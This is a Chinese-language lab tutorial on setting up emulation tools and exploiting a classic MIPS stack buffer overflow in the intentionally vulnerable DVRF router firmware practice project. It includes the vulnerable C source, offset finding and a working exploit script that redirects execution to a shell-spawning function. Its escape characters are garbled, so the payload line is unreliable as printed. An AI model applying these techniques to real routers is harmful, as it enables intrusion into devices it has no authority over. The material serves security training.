上一期我们介绍了物联网固件常用的基于MIPS架构的汇编语言,这一次我们就利用所学的知识来对目标的模拟设备进行一次简单的攻击吧!
1 安装工具
1.1 binwalk
binwalk运行时库都是可选的,可以根据需要自行下载。详细说明见:binwalk/INSTALL.md
对于Debian/Ubuntu的用户,所有的依赖库/解压攻击都可以用binwalk目录下的deps.sh脚本进行自动化的下载安装。
$sudo ./deps.sh
1.2 buildroot
文件系统通常要包含很多第三方软件,比如busybox、udhcpc、tftp、Apache、sqlite、PHP、IPtable、DNS等,为了避免繁杂的移植工作,产生了buildroot。通过menuconfig配置我们需要的功能,不需要的功能去掉,再执行make指令编译,buildroot就会自动从指定的服务器上下载源码包,自动编译,自动搭建成我们所需要的嵌入式根文件系统,让我们的工作效率成百倍的提升。
- 下载:可以从buildroot官网下载到buildroot源码。
- 配置:在build解压目录下执行:
$ make menuconfig
在根据图形化界面进行定制化的设置,主要也就是设置一下几个方面的内容即可:
- Target options
- Toolchain
- System configuration
- Filesystem images
- Target packages
- 编译:在编译前需要确定事先已经安装好bison、flex、texinfo、ncurses等软件。
在build的根目录下执行make指令即可编译整个buildroot。
注意了,如果在编译时显示:WARNING: Clock skew detected. Your build may be incomplete.
或者之前配置的信息有误,可以考虑将之前编译的中间结果清理掉:
$ make clean
1.3 qemu
qemu是一款虚拟机软件,它默认支持多种架构,可以模拟IA-32(x86)个人电脑,AMD64个人电脑,MIPS R4000,Sparc sun 3与PowerPC(PRep及Power Macintosh)架构。qemu根据用途分为多个不同的执行程序,如:
qemu qemu-microblazzel qemu-system-m68k qemu-system-s390x
qemu-aarch64 qemu-mips qemu-s390x qemu-system-sh4
...
安装过程如下:
- 下载代码
$ git clone git://git.qemu-project.org/qemu.git
- 更新部分模块
$ git submodule update --init pixman $ git submodule update --init dtc $ sudo apt-get install libglib2.0 $ sudo apt-get install libglib2.0-dev $ sudo apt-get install autoconf automake libtool
- 配置、编译、安装:
$ sudo ./configure --static && sudo make && sudo make install
1.4 IDA
IDA是安全领域最常见的工具之了,具体使用方法不在这里赘述。安装过程如下:
#下载插件
$ git clone https://github.com/devttys0/ida.git
#进入下载的目录后进行复制安装(这个脚本的目的实际上就是复制)
$ python ./install <ida的安装目录>
注意:
- 在前期调试时使用的wine、ida可以不用考虑系统版本,但是在需要使用插件的情况下,应该确保Linux系统为32位。
- 由于需要使用到IDA python插件,所以需要下载python27.dll到IDA的根目录中。
- 启动IDA的时候需要修改环境变量以便能够读取到python的位置。
- wine需要提前安装。$ export PYTHONPATH=/usr/lib/python2.7 && wine idaq
2 安装测试环境
我们使用GitHub上的一款开源工程DVRF.它实际上是对Linksys E1550固件文件系统的模拟.其中还提供了一些可以练习经典栈溢出和堆溢出的代码.初学者可以利用这个环境配合qemu等模拟软件方便的进行练习,当然你也可以将这个文件系统想办法刷到真正的设备中去,会有更好的体验哦.
下载项目:
git clone https://github.com/praetorian-inc/DVRF.git
从目录结构上看,Firmware就是固件的文件系统,而Pwnable Source则是我们可以练手用的代码啦!
3 发起攻击!
下面我们以/DVRF/Pwnable Source/Intro/stack_bof_01.c为例,来说明一下攻击的过程.
3.1 搞清楚固件架构
在一切工作之前,我们得先搞清楚固件到底运行在什么样的处理器之下.我这里选择了固件常用的动态库进行查询:
$ file DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/lib/libc.so.0
lib/libc.so.0: ELF 32-bit LSB shared object, MIPS, MIPS32 version 1 (SYSV), dynamically linked, stripped
从命令执行的结果看,固件是32位MIPS架构的处理器(MIPS32 version 1),小端格式(LSB shared object).
有了这些基本信息,我们就可以将代码编译成相应格式的二进制文件了.
3.2 编译代码
安装完buildroot后,编译工具就存放在output/host/usr目录里.我们找出需要的mipsel-linux-gcc,先将stack_bof_01.c文件编译成MIPS格式:
$ mipsel-linux-gcc /DVRF/Pwnable Source/Intro/stack_bof_01.c -O test
3.3 审计代码
stack_bof_01.c的代码如下:
#include <string.h>
#include <stdio.h>
//Simple BoF by b1ack0wl for E1550
int main(int argc, char **argv[]){
char buf[200] ="";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>rn-By b1ack0wlrn");
exit(1);
}
printf("Welcome to the first BoF exercise!rnrn");
strcpy(buf, argv[1]);
printf("You entered %s rn", buf);
printf("Try Againrn");
return 0x41; // Just so you can see what register is populated for return statements
}
void dat_shell(){
printf("Congrats! I will now execute /bin/shrn- b1ack0wlrn");
system("/bin/sh -c");
//execve("/bin/sh","-c",0);
//execve("/bin/sh", 0, 0);
exit(0);
}
代码不长,我们很容易找到其中的经典溢出点:
strcpy(buf, argv[1]);
而我们的目的就是绕过主程序的正常流程,转而执行data_shell()这个未被调用的函数.
那么首先,让我们先尝试着在固件系统环境下把这个程序跑起来把!
3.4 运行程序
首先,把用户模式的qemu(qemu-mipsel)复制到固件的根目录.为什么要这样呢?因为接下来要以固件的根目录为我们模拟环境的根目录运行程序,如果qemu-mipsel不在当前目录下系统会找不到这个程序.
$ cd DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel) ./
现在我们可以用qemu-mipsel来运行程序啦!但是要注意,由于程序使用的环境是在mips下的,所以我们必须要将程序运行环境设置在固件的根目录下.这里我们用到了chroot命令来完成:
$ sudo chroot . ./qemu-mipsel test "abc"
Welcome to the first BoF exercise!
You entered abc
Try Again
可以看到我们的mips程序成功得到了执行!
下面我们来看看如何进行代码调试把!
3.5 调试代码
调试代码的途径很多,由于qemu自带gdbserver的功能,我们这里采用Linux环境下qemu+wine&IDA的组合进行调试.要加入调试功能,加入-g参数即可,后面紧跟的是远程调试的端口号,本例中我们采用的是1111端口.
$ sudo chroot . ./qemu-mipsel -g 1111 test "abc"
上述命令执行完毕后,可以看到控制台停了下来,我们可以启动wine&IDA了.
$ export PYTHONPATH=/usr/lib/python2.7 && wine /opt/ida66/idaq.exe
成功启动IDA,找到并用mips小端处理器反汇编test.对IDA进行如下设置:
- 打开Debugger->Process options对话框,在Host name中填写本机地址127.0.0.1,在Port中填写上面指定的调试端口1111.
- 打开Debugger->Debugger options对话框,勾选Suspend on debugging start选项.
按下F9即可开始调试了!
3.6 编写溢出字符串
3.6.1.确定溢出字符串长度
确定溢出字符串的长度有很多种,我这里介绍2种方法:
方法1: 计算堆栈容量
从IDA反汇编情况我们可以看到处理buf的地址的汇编语句为:
addiu $v0, $fp, 0xE8+var_D0
move $a0, $v0
la $v0, strcpy
那么我们就可以得出PC指针进入main()函数后,函数的堆栈情况:
+----------+
|st | $fp+0xE8-0xD0
+----------+
|.. |
+----------+
|fp |
+----------+
|ra |
+----------+ Bottom of main() stack
|a0 |
+----------+
|a1 |
+----------+
|.. |
从上图我们得知,要覆盖掉返回地址ra需要的溢出字符串长度为0xD0也就是208个字符.
方法2: 利用脚本测试
利用搜索引擎搜索一个patternLocOffset.py脚本(实在找不到的可以从这里复制一份),这个脚本来自于揭秘家用路由器0day漏洞挖掘技术一书(向作者致敬!).
首先生成一个测试字符串:
$ ./patternLocOffset.py -c -l 300 -f output.txt
[*] Create pattern string contains 300 characters ok!
[+] output to output.txt ok!
[+] take time: 0.0005 s
然后,打开output.txt文件,将内容复制粘贴出来
$ exp="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9"
再用IDA对代码进行调试
sudo chroot . ./qemu-mipsel -g 1111 stack-bof-01 "$exp"
可以知道覆盖掉返回地址RA的是0x68413967.我们用脚本对这个数字进行查询操作:
$ ./patternLocOffset.py -s 0x68413967 -l 300
[*] Create pattern string contains 300 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 208 (adjusted another-endian)
[+] take time: 0.0005 s
得到的数据长度也是208.
3.6.2.找到跳转位置
跳转位置在这个例子中间就显得很简单了,因为我们交叉编译这个程序的时候,并没有人工增加任何的安全防护措施,所以程序代码的位置是相对固定的.从IDA中就可以很轻松的找到.
.text:0040091C # =============== S U B R O U T I N E =======================================
.text:0040091C
.text:0040091C
.text:0040091C .globl dat_shell
.text:0040091C dat_shell:
很显然,dat_shell的位置就是0x0040091C
3.6.3.完成溢出
用跳转位置替换溢出字符串的后4位即可,注意小端字节序的编码方式哦.
最后的溢出脚本如下:
#! /bin/sh
exp=$(python -c "print 'A'*204+'x1cx09x40'")
sudo chroot . ./qemu-mipsel stack-bof-01 "$exp"
执行结果:
$ ./exp.sh
You entered AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @
Try Again
Congrats! I will now execute /bin/sh
- b1ack0wl
成功啦!
我们这次就进行到这里,有兴趣的朋友还可以对这个项目里的其他代码进行测试攻击.Good Luck!